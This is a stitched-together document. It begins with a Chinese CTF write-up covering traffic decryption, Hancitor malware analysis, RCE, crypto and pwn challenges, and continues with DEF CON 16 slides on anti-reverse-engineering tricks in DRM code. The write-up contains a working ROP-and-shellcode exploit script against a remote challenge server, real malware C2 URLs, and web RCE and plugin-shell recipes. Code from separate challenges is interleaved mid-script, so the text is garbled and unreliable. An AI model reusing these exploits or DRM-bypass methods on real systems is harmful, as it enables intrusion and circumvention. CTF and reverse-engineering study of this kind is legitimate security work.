RequestOptionGlobalPadding,得看下v2ray源码。
读了⼀下源码,发现当开启这个opt的时候,每⼀个包会多取⼀次随机⻓度的padding,⻓度是根据那个shake
hash的值确定的,所以会多使⽤2bytes的hash,所以第⼀组取的hash应该是第3和第4个byte,以此类推。同时还
发现⽂档有问题,审计了⼀下源码发现3是AES-GCM,⽽不是⽂档⾥⾯说的ChaCha20-Poly1305,换了算法终于可
以把请求包解出来了
然后照葫芦画瓢解响应的数据包
data =
[1,19,39,127,87,50,218,82,173,167,144,216,123,136,41,218,169,94,74,154,169,186,88,199,2
27,173,54,254,36,153,220,162,89,162,13,99,0,1,19,136,1,127,0,0,1,26,206,125,155,176,181
,57,24,44,3,129,170,64,93,17,45,93,29,193,211,62,197,142,68,107,21,31,51,49,205,82,9,21
0,93,27,6,95,168,117,68,134,229,113,88,76,70,250,125,14,228,67,235,105,171,244,102,194,
131,73,233,2,9,35,204,143,71,47,29,32,187,224,86,135,183,32,226,204,143,171,77,193,115,
194,50,214,200,21,203,124,117,198,189,116,210,226,165,118,56,239,253,17,255,0,156,54,56
,76,67,27,18,62,209,36,150,94,33,138,121,207,185,17,85,252,85,184,31,175,113,106,239,18
1,131,40,242,149,231,110,53,45,17,233,3,23,174,141,32,144,56,174,112,209,158,226,245,11
9,196,132,29,119,220,66,100,49,8,138,148,50,68,245,10,243,162,255,223,69,184,255,33,11,
44,79,245,81,7,97,39,250]
GET /out HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: curl/7.75.0
Accept: */*
Connection: close
import hashlib
import hmac
import struct
from Crypto.Cipher import AES
from Crypto.Cipher import ChaCha20_Poly1305
import binascii
import fuckpy3
from fnvhash import fnv1a_32
data =
[1,19,39,127,87,50,218,82,173,167,144,216,123,136,41,218,169,94,74,154,169,186,88,199,2
27,173,54,254,36,153,220,162,89,162,13,99,0,1,19,136,1,127,0,0,1,26,206,125,155,176,181
,57,24,44,3,129,170,64,93,17,45,93,29,193,211,62,197,142,68,107,21,31,51,49,205,82,9,21
0,93,27,6,95,168,117,68,134,229,113,88,76,70,250,125,14,228,67,235,105,171,244,102,194,
131,73,233,2,9,35,204,143,71,47,29,32,187,224,86,135,183,32,226,204,143,171,77,193,115,
194,50,214,200,21,203,124,117,198,189,116,210,226,165,118,56,239,253,17,255,0,156,54,56
,76,67,27,18,62,209,36,150,94,33,138,121,207,185,17,85,252,85,184,31,175,113,106,239,18
1,131,40,242,149,231,110,53,45,17,233,3,23,174,141,32,144,56,174,112,209,158,226,245,11
9,196,132,29,119,220,66,100,49,8,138,148,50,68,245,10,243,162,255,223,69,184,255,33,11,
44,79,245,81,7,97,39,250]
print(len(data))
msg = bytes(data)
print(msg)
ver = msg[0]
iv = msg[1:17]
key = msg[17:33]
v = msg[33:34]
print("V ", binascii.hexlify(v))
opt = msg[34:35]
print("opt ", binascii.hexlify(opt))
psec = msg[35:36]
print("P|sec ", binascii.hexlify(psec))
rev = msg[36]
cmd = msg[37:38]
print("cmd ", binascii.hexlify(cmd))
port = msg[38:40]
T = msg[40]
ip = msg[41:45]
_ = msg[45:51]
h = msg[51:55]
print(binascii.hexlify(h))
print(hex(fnv1a_32(msg[:51])))
data = open('data', 'rb').read()
# print(binascii.hexlify(data))
# print(binascii.hexlify(key))
# print(binascii.hexlify(iv))
key = hashlib.md5(key).digest()
iv = hashlib.md5(iv).digest()
shake = hashlib.shake_128(iv).digest(10000)
print(binascii.hexlify(shake))
outfile = open('out', 'wb')
ptr = 0
shake_ptr = 0
count = 0
while (ptr < len(data)):
padding_size = (int(shake[shake_ptr] << 8) | (shake[shake_ptr + 1])) % 64
l = data[ptr:ptr+2]
x = int(binascii.hexlify(l), 16)
y = (shake[shake_ptr + 2] << 8) | (shake[shake_ptr + 3])
# y = 0x5971
length = x ^ y
print(hex(ptr), hex(x), hex(y), hex(length), padding_size)
nonce = struct.pack('>h', count) + iv[2:12]
aes = AES.new(key, AES.MODE_GCM, nonce)
# aes.decrypt(b'\x00' * total_length)
plain = aes.decrypt(data[ptr+2:ptr+2+length-padding_size-16])
# plain = aes.decrypt_and_verify(data[ptr+2:ptr+2+length-padding_size-16],
data[ptr+2+length-padding_size-16:ptr+2+length-padding_size])
# print(plain)
outfile.write(plain)
count += 1
ptr += length + 2
# print(binascii.hexlify(data[2023:2028]))
shake_ptr += 4
# break
outfile.close()
解出来⼀个HTML,html⽤blob保存了⼀个DOC,⾥⾯有宏,分析⼀下发现在Templates⽬录下⾯释放了⼀个
W0rd.dll,⽤Rundll32起了UminslaIIF0mt函数
这个实际上是Hancitor恶意软件,DLL⾥⾯RC4解密了很多东⻄,⾥⾯就有URL
提出了这个字符串http://satursed.com/8/forum.php|http://sameastar.ru/8/forum.php|http://ludiesibut.ru/8/
forum.php|,提示解压密码是c2 api的地址,但是这3个都是c2。尝试了各种排列组合都不太对,最后发现是
api.ipify.org的MD5,这东⻄确实访问过,但是只是⽤来查本机ip的,这是c2???
解压出来是⼀个golang的gob,不知道数据类型,得猜⼀猜,应该是字符串的数组或者map。最后发现是
map[string][]byte,解出来⾥⾯没什么东⻄,就知道是⼀个PNG⽂件,然后有⼀⼤块很乱的raw data,⽂件内容看
上去也不像PNG的特征。
这时候放了个新提示,说⽂件内容被随机打乱了。⽂件⾥⾯有个时间戳,然后还是个gob,可能是⽤golang打乱
的,脑洞⼀下,⽤这个时间戳的时间srand,然后rand.Shuffle
exit()
package main
import (
// "encoding/gob"
"fmt"
// "os"
"math/rand"
"time"
)
func main() {
rand.Seed(1658213396)
t := time.Now().Unix()
buffer := make([]int, 0x1134b)
for i := 0; i < 0x1134b; i++ {
buffer[i] = i
}
fmt.Println(t)
rand.Shuffle(len(buffer), func(i, j int) {
buffer[i], buffer[j] = buffer[j], buffer[i]
})
fmt.Println(buffer)
}
解出来⼀张图⽚,上⾯写着flag not here,查看各个通道发现alpha通道的颜⾊很诡异,提取⼀下数据发现除了0xff
以外是组成flag的字符,试⼀下各种顺序,发现先遍历列再遍历⾏可以得到顺序正确的flag
强⽹先锋
x = [...] # 这⾥是golang排出来的顺序
data = open('flag.png', 'rb').read()
flag = ['\x00'] * 0x1134b
for i in range(0x1134b):
flag[x[i]] = data[i]
flag = ''.join(flag)
open('flag2.png', 'wb').write(flag)
from PIL import Image
image = Image.load("flag2.png")
alpha = image.split()[-1].load()
for y in range(973):
for x in range(2000):
pixel = alpha[x, y]
if pixel != 255:
print(x, y, pixel, chr(pixel))
rcefile
www.zip
spl_autoload_register 会⾃动include inc⽂件
传⼀个扩展名为inc的png⽂件,然后cookie序列化⼀个上传⽂件名的类
再访问/showfile.php,设置cookie,rce。
polydiv
sage建个GF2上的polynomial直接秒了
from pwn import *
import requests
import json
import os
import gmpy2
from pwnlib.tubes.tube import *
from hashlib import *
from Crypto.Util.number import *
from tqdm import tqdm, trange
import random
import math
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from factordb.factordb import FactorDB
from sage.modules.free_module_integer import IntegerLattice
import itertools
from fastecdsa.curve import Curve
from random import getrandbits, shuffle, randint
def resultant(p1, p2, var):
p1 = p1.change_ring(QQ)
p2 = p2.change_ring(QQ)
var = var.change_ring(QQ)
r = p1.resultant(p2, var)
return r.change_ring(F)
r = remote('123.56.87.28', '19962')
context(log_level='debug')
ALPHABET = string.ascii_letters + string.digits
rec = r.recvline().decode()
print(rec)
suffix = rec[rec.find('+'):rec.find(')')][1:].strip()
digest = rec[rec.find('==')+3:-1].strip()
print(f"suffix: {suffix} \ndigest: {digest}")
for i in itertools.product(ALPHABET, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
devnull
栈溢出,但是没有合适的ROP
if sha256(guess.encode()).hexdigest() == digest:
# log.info(f"Find XXXX: {prefix}")
print((f"Find XXXX: {prefix}"))
break
r.sendline(prefix.encode())
P.<x> = PolynomialRing(GF(2))
for i in range(41):
r.recvuntil('r(x) = ')
rx = P(r.recvline().decode().strip())
print(rx)
r.recvuntil('a(x) = ')
ax = P(r.recvline().decode().strip())
print(ax)
r.recvuntil('c(x) = ')
cx = P(r.recvline().decode().strip())
print(cx)
bx = (rx - cx) / ax
r.sendlineafter('> b(x) = ', str(bx))
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
DEBUG = 0
def main():
if DEBUG:
p = process("./devnull")
context.log_level = "debug"
else:
p = remote("123.56.105.22", 40022)
p.readuntil(b"please input your filename")
WP-UM
看源码装了usermeta插件,搜到⽂章https://wpscan.com/vulnerability/9d4a3f09-b011-4d87-ab63-332e505cf1
cd,根据题⽬意图侧信道爆破⽤户名密码即可,进后台插件shell,flag在usr⽬录下
AVR
因为n是4个128bit⼩素数平⽅的乘积,尝试喂给yafu分解sqrt(n),分出来四个⼩素数
pause()
p.send(b"a" * 0x20)
p.readuntil(b"discard\n")
ret1 = 0x401511 # leave; ret
payload1 = b"c" * 0x14 + p64(0x3fe000) + p64(0x3fe000) + p64(ret1)
p.send(payload1)
p.readuntil(b"new data\n")
# gadget1: 0x0000000000401351 : mov eax, dword ptr [rbp - 0x18] ; leave ; ret
gadget1 = 0x0000000000401351
# gadget2: 0x4012D0 : mov esi, 1000h ; mov rdi, rax ;call _mprotect ; nop ; pop rbp
; retn
gadget2 = 0x4012D0
# gadget3: 04014CE : mov eax, cs:size_0x60 ; movsxd rdx, eax ; mov rcx, [rbp-8] ;
mov eax, [rbp-20h] ; mov rsi, rcx ; mov edi, eax ;
gadget3 = 0x4014CE
rbp2 = 0x3fe000 + 0x20
rbp3 = 0x3fe000 + 0x48
eax = 0x3fe000
payload2 = p64(0x3fe000 + 0x18 + 0x18) + p64(gadget1) + p64(rbp2) + p64(eax) +
p64(0) * 2 + p64(0) + p64(gadget2) + p64(rbp3)
payload2 += p64(gadget3) + p64(0) + p64(0)
p.send(payload2)
p.readuntil(b"Thanks\n")
shellcode =
b'hflagj\x02XH\x89\xe71\xf6\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x02_\x99\x0f\x05'
payload3 = p64(0x3fe050) + shellcode
pause()
p.send(payload3)
p.interactive()
if __name__ == "__main__":
main()
from pwn import *
import string
import base64
import math
from libnum import *
import gmpy2
import os
import json
# import random
from libnum import xgcd, solve_crt
from tqdm import tqdm
from hashlib import sha256, md5, sha1
from Crypto.Hash import SHA256
from Crypto.PublicKey import DSA
from Crypto.Cipher import AES, DES
from itertools import product
from sage.all import *
from Crypto.Util.number import *
import randcrack
import random
from sm4 import SM4Key
# # r = remote('hiyoko.quals.seccon.jp', '10042')
# # # context(log_level='debug')
# ALPHABET = string.ascii_letters + string.digits
# rec = r.recvline().decode().replace(' ', '')
# print(rec)
# rec = rec[rec.find('+')+1::]
# suffix = rec[rec.find('+')+1:rec.find(')')]
# digest = rec[rec.find('==')+2:-1]
# print(f"suffix: {suffix} \ndigest: {digest}")
# for i in product(ALPHABET, repeat=5):
# prefix = ''.join(i)
# guess = prefix + suffix
# if md5(guess.encode()).hexdigest()[0:5] == digest:
# log.info(f"Find XXXX: {prefix}")
# break
# r.sendline(prefix.encode())
# r.interactive()
# r.recvline()
n =
825087128028157397936509571571135911537250445897344436708319543186130753456324653736424
810410649459808198821658443200319919880575372144845091130855804111546590017923079893961
558351775626555781471041915746272179386453223904275880829857552266635835272606057819404
5804198551989679722201244547561044646931280001
e = 3
c =
945272793717722090962030960824180726576357481511799904903841312265308706852971155205003
971821843069272938250385935597609059700446530436381124650731751982419593070224310399320
617914955227288662661442416421725698368791013785074809691867988444306279231013360024747
585261790352627234450209996422862329513284149
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
nn = isqrt(n)
p = 225933944608558304529179430753170813347
nnn = 58168156707034554506999754297878805611645169757838644738807204999343153499547
q = nn // p // nnn
assert n % p == 0 and n % q == 0
r = 223213222467584072959434495118689164399
s = 260594583349478633632570848336184053653
assert p**2*q**2*r**2*s**2 == n
phi = r*(r-1)*s*(s-1)
d = inverse(e, phi)
m = pow(c, d, r**2*s**2)
print(long_to_bytes(int(m))) | pdf |
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Anti-RE Techniques in DRM Code
Jan Newger
Seminar on Advanced Exploitation Techniques
i4, RWTH Aachen, Germany
DEF CON 16 / 2008
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Outline
1
Introduction
Legal Issues
About DRMs
Approaching the DRM
2
SEH Basics
Overview
Exception Dispatching
3
Anti-RE Techniques
Overview
Trampolines
Debug Registers
P-Code Machine
4
Decrypting the Content
The Algorithm
Demo
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Outline
1
Introduction
Legal Issues
About DRMs
Approaching the DRM
2
SEH Basics
Overview
Exception Dispatching
3
Anti-RE Techniques
Overview
Trampolines
Debug Registers
P-Code Machine
4
Decrypting the Content
The Algorithm
Demo
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Issues with this Talk
Legal Issues
Legal issues with publishing DRM research
Probably illegal in most countries, legal uncertainty
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Issues with this Talk
Legal Issues
Legal issues with publishing DRM research
Probably illegal in most countries, legal uncertainty
EFF to the Rescue!
Electronic Frontier Foundation (EFF)[1]
Non-profit organization dedicated to preserving free
speech rights
Discussed solution with Jennifer Granick from EFF (thx
Jennifer!)
Loophole in DMCA -> "Encryption Research"[2]
But still too dangerous for me
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Issues with this Talk (2)
Consequence
Strip details about key setup and decryption algorithm
Don’t reveal identity of the DRM
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Issues with this Talk (2)
Consequence
Strip details about key setup and decryption algorithm
Don’t reveal identity of the DRM
What it IS
Show some not-so-common Anti-RE techniques
Strategies to defeat Anti-RE
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Issues with this Talk (2)
Consequence
Strip details about key setup and decryption algorithm
Don’t reveal identity of the DRM
What it IS
Show some not-so-common Anti-RE techniques
Strategies to defeat Anti-RE
What it is NOT
How to hack the DRM from *********
No tutorial for writing decryption tools
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
What’s a DRM?
"Digital Rights Management"
Restrict access to content
Content encrypted
Decrypt online
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
What’s a DRM?
"Digital Rights Management"
Restrict access to content
Content encrypted
Decrypt online
Key often bound to user/hardware
Prevents copying
Change hardware -> new license
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
What’s a DRM?
"Digital Rights Management"
Restrict access to content
Content encrypted
Decrypt online
Key often bound to user/hardware
Prevents copying
Change hardware -> new license
Media key, hardware key, player key, content key...
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
What’s a DRM?
"Digital Rights Management"
Restrict access to content
Content encrypted
Decrypt online
Key often bound to user/hardware
Prevents copying
Change hardware -> new license
Media key, hardware key, player key, content key...
Obviously: every DRM can be broken
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Possible Strategies (1)
Ultimate Goal
Find code for content decryption and the associated key setup
Obvious Approach
1
BPs on file I/O APIs (CreateFile, ReadFile, MMF)
2
Set BPM on filebuffer
either stops on copy operation
or breaks on decryption
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Possible Strategies (1)
Ultimate Goal
Find code for content decryption and the associated key setup
Obvious Approach
1
BPs on file I/O APIs (CreateFile, ReadFile, MMF)
2
Set BPM on filebuffer
either stops on copy operation
or breaks on decryption
Obvious approach impossible!
DRM System prevents this strategy by blocking the debug
registers!
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Possible Strategies (2)
Code Coverage
Runtime analysis to spot relevant code by recording execution
of basic blocks / functions
Code Coverage Limitation
Here: Impossible to find DRM code itself using code
coverage!
Gives some good starting points, though
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Legal Issues
About DRMs
Approaching the DRM
Basic Approach Summary
Our Strategy
Use code coverage to spot some places to investigate
Use obvious approach to find decryption code
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
Outline
1
Introduction
Legal Issues
About DRMs
Approaching the DRM
2
SEH Basics
Overview
Exception Dispatching
3
Anti-RE Techniques
Overview
Trampolines
Debug Registers
P-Code Machine
4
Decrypting the Content
The Algorithm
Demo
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
Windows SEH
Structured Exception Handling
Dispatch exception on a per-thread-basis
Linked list of handlers starting at fs:[0]
On exception OS walks list of faulting thread
When called, a handler can:
Handle exception and ask OS to continue execution
Refuse to handle exception
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
SEH Handler
EXCEPTION_DISPOSITION _except_handler(_EXCEPTION_RECORD* ExceptionRecord,
void* EstablisherFrame,
_CONTEXT* ContextRecord,
void* DispatcherContext);
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
SEH Handler Invocation
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
SEH Handler Invocation
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
SEH Handler Invocation
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
SEH Handler Invocation
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
SEH Handler Invocation
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Exception Dispatching
Remarks
SEH Handler Invocation
Simplified view, because
No stack unwinding
No collided unwind, nested exceptions
Handler can decide not to return (C++, try...except)
But good enough for our analysis!
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Outline
1
Introduction
Legal Issues
About DRMs
Approaching the DRM
2
SEH Basics
Overview
Exception Dispatching
3
Anti-RE Techniques
Overview
Trampolines
Debug Registers
P-Code Machine
4
Decrypting the Content
The Algorithm
Demo
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
The DRM Protection (1)
Control Flow Obfuscation
Use fake exceptions to interrupt control flow
Handlers change thread context
Inter-/intra-modular calls through call tables
Use dynamically allocated trampolines
P-Code machine
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
The DRM Protection (2)
Anti-Debugging
Check PEB flag
Scan APIs for 0xCC
Usage of debug registers (no BPM/BPX)
Special files contain code uncompressed at runtime
Use fake exceptions to detect debugger
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampolines Overview
Trampoline Definition
Copy code at runtime to randomized location (RDTSC),
execute from there
Trampoline Execution
1
Change control flow via fake exceptions (single step
exception)
2
Exception handler modifies EIP based on debug register
values
3
Execution resumes at next trampoline
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampoline Details
Trampoline Control Flow
Trampoline A transfers control flow to trampoline B
Control flow entirely depends on jumps and exceptions
No call or ret instructions, no direct control flow
between trampolines
Therefore, a call hierarchy emulation is implemented
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampoline Details
Trampoline0
TrampolineA copies trampoline0 and jumps to it
Trampoline0 manages internal call hierarchy
Put destination trampoline on stack
Copies next trampoline to random location
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampoline Details
Trampoline1
Copy trampoline0 to random location
Install SEH frame and trigger single
step exception
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampoline Details
Trampoline1
Copy trampoline0 to random location
Install SEH frame and trigger single
step exception
Trigger Exception
pushf
pop eax
or eax, 100h
push eax
popf
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampoline Details
Exception Handler
Changes EIP based on debug register values
Clear TF bit, remove SEH frame, clean stack
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampoline Details
Trampoline2
Copy destination trampoline
Jump to destination trampoline
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Trampoline Details
Call Stack Emulation
The ret instruction is emulated by a similar mechanism!
Special exception handler removes trampoline from
internal call stack
Modifies context, execution resumes
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
More Trampoline Details
Use of the Debug Registers
DR0 and DR6 are zeroed out
DR1 contains pointer to a shared stack area to pass data
between trampolines
DR2 holds trampoline address, which is used to perform
return emulation
DR3 holds the address of the starting trampoline
(trampoline0)
DR7 is used to turn hardware breakpoints on and very
frequently
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Impact of Trampolines
Impact on RE
Debugging pretty annoying, trampoline addresses jitter
Control flow depends on DRs, so no BPM/BPX
No call stack, i.e. back tracing difficult
We can´t execute until return, difficult to tell who called us
No direct call between subs, less X-Refs
Absence of ret instructions confuses disassembler
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Impact of Trampolines
Impact on RE
Debugging pretty annoying, trampoline addresses jitter
Control flow depends on DRs, so no BPM/BPX
No call stack, i.e. back tracing difficult
We can´t execute until return, difficult to tell who called us
No direct call between subs, less X-Refs
Absence of ret instructions confuses disassembler
But: Once understood we get perfect call stack
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Ease Impact of Trampolines
Idea
Fix trampoline addresses
Use kernel mode driver
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Ease Impact of Trampolines
Idea
Fix trampoline addresses
Use kernel mode driver
Driver
1
Turn RDTSC into privileged instruction (TSD flag, CR4
register)
2
Hook IDT
3
Return zero upon exception if
Exception from user mode
Instruction was RDTSC
else jump to original handler
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Reclaiming the Debug Registers (1)
Usage of DRs
DRM system uses DRs for storage
Uses SetThreadContext API
Debugger cannot use hardware breakpoints (crash or no
break)
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Reclaiming the Debug Registers (1)
Usage of DRs
DRM system uses DRs for storage
Uses SetThreadContext API
Debugger cannot use hardware breakpoints (crash or no
break)
Strategy
But we need BPMs for our strategy!
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Reclaiming the Debug Registers (2)
Use API Hooking
Hook into Set/GetThreadContext API
Redirect modifications to internal storage
DRM System cannot modify DRs anymore!
Debugger can use DRs
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Reclaiming the Debug Registers (2)
Use API Hooking
Hook into Set/GetThreadContext API
Redirect modifications to internal storage
DRM System cannot modify DRs anymore!
Debugger can use DRs
Really?
Hardware breakpoints still don’t work!
Why?
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Context Emulation
Problem
Modification of EIP depends on DRs
Two thread contexts: kernel mode vs. internal storage
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Context Emulation
Problem
Modification of EIP depends on DRs
Two thread contexts: kernel mode vs. internal storage
Hook KiUserExceptionDispatcher
If fake exception, execute re-implemented
KiUserExceptionDispatcher:
1
Pass fake context, DR values from internal storage
2
On return copy modifications to real context
3
Apply context via NtContinue
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
KiUserExceptionDispatcher - Re-implemented
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
KiUserExceptionDispatcher - Re-implemented
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
KiUserExceptionDispatcher - Re-implemented
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
KiUserExceptionDispatcher - Re-implemented
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
KiUserExceptionDispatcher - Re-implemented
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Summary
Situation after Countermeasures
DRM System cannot modify DRs - API hook
Exception handler gets expected values -
KiUserExceptionDispatcher patch
Our debugger can use hardware breakpoints!
Implementation available as IDA plugin (IDA Stealth[3])
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
P-Code Machine Overview
Machine Properties
Stack based with result register
256 fixed size opcodes (1 byte)
Opcodes interleaved with data (ASN.1)
Allocate memory in host machine
High-level opcodes (load opcodes, call into other modules,
music decoding)
Low level opcodes, emulate virtual CPU
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Loading of Opcodes
Opcode Module Files
Special module which contains P-Code machine
Contain native code + opcodes
Decompressed at runtime
No PE, no IAT, no sections, etc.
Relocation table + some fixed imports (MSVCRT)
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Obfuscation in the P-Code Machine
Executing Opcodes
Per-module random pool
Randomize opcode <-> opcode handler
Descramble opcodes with PRNG in machine
Garbage data interleaved with opcodes
Data parsed via ASN.1
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Impact of the P-Code Machine
Static RE Difficult
Understand machine itself first
Different meaning of opcodes per module
ASN.1 parsing
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Impact of the P-Code Machine
Static RE Difficult
Understand machine itself first
